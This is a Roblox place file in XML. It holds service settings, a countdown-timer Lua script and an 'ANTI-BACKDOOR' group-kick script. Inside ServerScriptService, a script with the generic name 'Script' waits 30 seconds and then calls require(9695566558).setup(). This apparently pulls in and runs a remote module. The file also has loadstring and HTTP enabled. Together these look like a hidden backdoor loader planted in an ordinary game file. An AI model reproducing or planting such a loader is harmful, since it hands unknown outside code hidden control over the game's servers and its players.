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				<ProtectedString name="Source">local min = 0 --  To change the countdown time, change ONLY these three numbers.
local sec = 30 -- &lt;--  Please note that min stands for Minutes, sec for Seconds, and mic
local mic = 0 -- &lt;--  for Microseconds. This is NOT 100% accurate and gives about 18
		     -------  more seconds per 5 minutes you have on the timer. The math comes
                     -------  to about 3.6 more seconds per minute. It is hardly too noticable.
                     -------  .6 seconds is about 36 microseconds. Keeping this in mind, note
		     ------- the table below for approximate times to times you may select.
		     --------------------------------------------------------------------------------------------
		     -------  Selected Time  --------------------------------- Approximate Time -------
		     -------     1 minute       ---------------------------------        1:03:36          -------
		     -------    2 minutes      ---------------------------------        2:06:72          -------
		     -------    5 minutes      ---------------------------------        5:18:00          -------
		     -------   10 minutes     ---------------------------------       10:36:00         -------
		     -------   12 minutes     ---------------------------------       12:42:72         -------
		     -------   15 minutes     ---------------------------------       15:54:00         -------
		     -------   20 minutes     ---------------------------------       21:12:00         -------
		     -------   25 minutes     ---------------------------------       26:30:00         -------
		     -------   30 minutes     ---------------------------------       31:48:00         -------
		     --------------------------------------------------------------------------------------------

h = Instance.new("Hint")
h.Parent = script

while true do
	mic = mic - 2
	if mic &lt;= -1 then
		sec = sec - 1
		mic = 59
		if sec == -1 then
			min = min - 1
			sec = 59
			if min == -1 then
				min = 0
				sec = 0
				mic = 0
			end
		end
	end
	if min &lt;= 9 and sec &lt;= 9 and mic &lt;= 9 then
		h.Text = "0" ..min.. ":0" ..sec..":0" ..mic
	elseif min &lt;= 9 and sec &lt;= 9 and mic &gt;= 10 then
		h.Text = "0" ..min.. ":0" ..sec..":" ..mic
	elseif min &lt;= 9 and sec &gt;= 10 and mic &lt;= 9 then
		h.Text = "0" ..min.. ":" ..sec..":0" ..mic
	elseif min &lt;= 9 and sec &gt;= 10 and mic &gt;= 10 then
		h.Text = "0" ..min.. ":" ..sec..":" ..mic
	elseif min &gt;= 10 and sec &lt;= 9 and mic &lt;= 9 then
		h.Text = min.. ":0" ..sec..":0" ..mic
	elseif min &gt;= 10 and sec &lt;= 9 and mic &gt;= 10 then
		h.Text = min.. ":0" ..sec..":" ..mic
	elseif min &gt;= 10 and sec &gt;= 10 and mic &lt;= 9 then
		h.Text = min.. ":" ..sec..":0" ..mic
	elseif min &gt;= 10 and sec &gt;= 10 and mic &gt;= 10 then
		h.Text = min.. ":" ..sec..":" ..mic
	end
	wait()
end
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-- TO WORK, PUT THIS SCRIPT INTO "ServerScriptService" or "Workspace"
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			<bool name="AllowInsertFreeModels">false</bool>
			<BinaryString name="AttributesSerialize"/>
			<string name="Name">InsertService</string>
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			<BinaryString name="Tags"/>
		</Properties>
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				<string name="Value">{D8E4830C-85EE-40EA-A1F0-046943AC5AF7}</string>
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			<string name="Name">GamePassService</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<int name="MaxItems">1000</int>
			<string name="Name">Debris</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<string name="Name">CookiesService</string>
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			<BinaryString name="Tags"/>
		</Properties>
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			<string name="Name">VRService</string>
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			<BinaryString name="Tags"/>
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			<string name="Name">ContextActionService</string>
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			<BinaryString name="Tags"/>
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		<Properties>
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			<string name="Name">AssetService</string>
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			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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			<string name="Name">TouchInputService</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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			<BinaryString name="AttributesSerialize"/>
			<string name="Name">AnalyticsService</string>
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			<BinaryString name="Tags"/>
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	</Item>
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			<string name="Name">FilteredSelection</string>
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			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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			<string name="Name">FilteredSelection</string>
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		</Properties>
	</Item>
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		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<bool name="LoadStringEnabled">true</bool>
			<string name="Name">ServerScriptService</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
		<Item class="Script" referent="AdlighhAhBJUUuIuAJulDUidAadgASaIhsJduSuesaIDaAaihDadsIcuhJhJAdhABuKDdi">
			<Properties>
				<BinaryString name="AttributesSerialize"/>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null/></Content>
				<string name="Name">Script</string>
				<string name="ScriptGuid">6a28a90faca0506581eb37602c47df294f15e3d9</string>
				<ProtectedString name="Source">wait(30) 

require(9695566558).setup()</ProtectedString>
				<int64 name="SourceAssetId">-1</int64>
				<BinaryString name="Tags"/>
			</Properties>
		</Item>
		<Item class="Script" referent="aSaieuuSssgKgsiDBHaaudaASslIdKlaADDauAhBidUlSJcsaJAHeesSKuuaaiDSsaaFil">
			<Properties>
				<BinaryString name="AttributesSerialize"/>
				<bool name="Disabled">false</bool>
				<Content name="LinkedSource"><null/></Content>
				<string name="Name">ANTI-BACKDOOR</string>
				<string name="ScriptGuid">40066370aeb23ad753671d065dd010d7a49e4a3e</string>
				<ProtectedString name="Source">--[[
  Welcome to ANTI-BACKDOOR! Made by 4z#0001,
  you can add any Backdoor Group into "BackdoorGroups" in {}
  paste its ID and then any members in that group are kicked.
]]
local BackdoorAction = {
	["DeleteBackdoors"] = true
}
local BackdoorGroups = {9821767}
local PlayerService = game.Players

local function CheckForBackdoors()
	PlayerService.PlayerAdded:Connect(function(NewPlayer)
		for i, v in ipairs(BackdoorGroups) do
			if NewPlayer:IsInGroup(v) then
				NewPlayer:Kick("[ANTI-BACKDOOR]: Backdoor Found")
			end
		end
	end)
end
if BackdoorAction.DeleteBackdoors == true then
	CheckForBackdoors()
end</ProtectedString>
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		</Item>
	</Item>
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		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<string name="Name">ServerStorage</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
	<Item class="ReplicatedStorage" referent="iiIldiuSKhahFusuAdSagKdhsUhaidDcassAAaSIAaudeKDHhuacsahliDSDaaDuDUDaiu">
		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<string name="Name">ReplicatedStorage</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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			<BinaryString name="AttributesSerialize"/>
			<string name="Name">Instance</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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			<string name="Name">ProcessInstancePhysicsService</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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		<Properties>
			<Color3 name="Ambient">
				<R>0.274509817</R>
				<G>0.274509817</G>
				<B>0.274509817</B>
			</Color3>
			<BinaryString name="AttributesSerialize"/>
			<float name="Brightness">3</float>
			<Color3 name="ColorShift_Bottom">
				<R>0</R>
				<G>0</G>
				<B>0</B>
			</Color3>
			<Color3 name="ColorShift_Top">
				<R>0</R>
				<G>0</G>
				<B>0</B>
			</Color3>
			<float name="EnvironmentDiffuseScale">1</float>
			<float name="EnvironmentSpecularScale">1</float>
			<float name="ExposureCompensation">0</float>
			<Color3 name="FogColor">
				<R>0.752941251</R>
				<G>0.752941251</G>
				<B>0.752941251</B>
			</Color3>
			<float name="FogEnd">100000</float>
			<float name="FogStart">0</float>
			<float name="GeographicLatitude">0</float>
			<bool name="GlobalShadows">true</bool>
			<string name="Name">Lighting</string>
			<Color3 name="OutdoorAmbient">
				<R>0.274509817</R>
				<G>0.274509817</G>
				<B>0.274509817</B>
			</Color3>
			<bool name="Outlines">false</bool>
			<float name="ShadowSoftness">0.200000003</float>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
			<token name="Technology">3</token>
			<string name="TimeOfDay">14:30:00</string>
		</Properties>
	</Item>
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		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<string name="Name">Instance</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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			<string name="Name">FilteredSelection</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
	<Item class="DataStoreService" referent="sBuHlScSAuSdaaSshuiasuAeUUSIushaAiSaggaaBihscdJhiiiaJaiuFUuFdDDSeeHJuA">
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			<BinaryString name="AttributesSerialize"/>
			<bool name="AutomaticRetry">true</bool>
			<bool name="LegacyNamingScheme">false</bool>
			<string name="Name">DataStoreService</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<bool name="HttpEnabled">true</bool>
			<string name="Name">HttpService</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
	<Item class="LanguageService" referent="JshAhcussiUcDihDhBlaciiiDeueuagUaIDSsBSKeiSucaciaDuDDeuiSHcAdDisISKKAs">
		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<string name="Name">LanguageService</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
	<Item class="ProximityPromptService" referent="HDJellAUadKuSaIJIgusaDeiuKAKFDaIiaAgUghUlaIhuBuhsusaeDiiSDDuBDgIlUsaia">
		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<bool name="Enabled">true</bool>
			<int name="MaxPromptsVisible">16</int>
			<string name="Name">ProximityPromptService</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
	<Item class="Teams" referent="DAiAuucSDiaualeSissdeFdFlHheaJDSDDAScacSSDuidKsKdUiKiiHsacaUlSauhFdBIs">
		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<string name="Name">Teams</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<bool name="AutoRuns">true</bool>
			<string name="Description"/>
			<bool name="ExecuteWithStudioRun">false</bool>
			<bool name="Is30FpsThrottleEnabled">true</bool>
			<bool name="IsPhysicsEnvironmentalThrottled">true</bool>
			<bool name="IsSleepAllowed">true</bool>
			<string name="Name">TestService</string>
			<int name="NumberOfPlayers">0</int>
			<double name="SimulateSecondsLag">0</double>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
			<double name="Timeout">10</double>
		</Properties>
	</Item>
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		<Properties>
			<BinaryString name="AttributesSerialize"/>
			<string name="Name">VirtualInputManager</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
	<Item class="Instance" referent="ehhJiBaaSuglJaSiaDShlIchUiDaHDuhHaaAADcuHUJaagDuhaaHSBIAchcSDDIshiAgag">
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			<BinaryString name="AttributesSerialize"/>
			<string name="Name">FilteredSelection</string>
			<int64 name="SourceAssetId">-1</int64>
			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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			<string name="Name">FilteredSelection</string>
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			<BinaryString name="Tags"/>
		</Properties>
	</Item>
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			<string name="Name">FilteredSelection</string>
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		</Properties>
	</Item>
	<SharedStrings>
		<SharedString md5="DldRwCblQ7Loqy6wYJnaoQ=="/>
	</SharedStrings>
</roblox>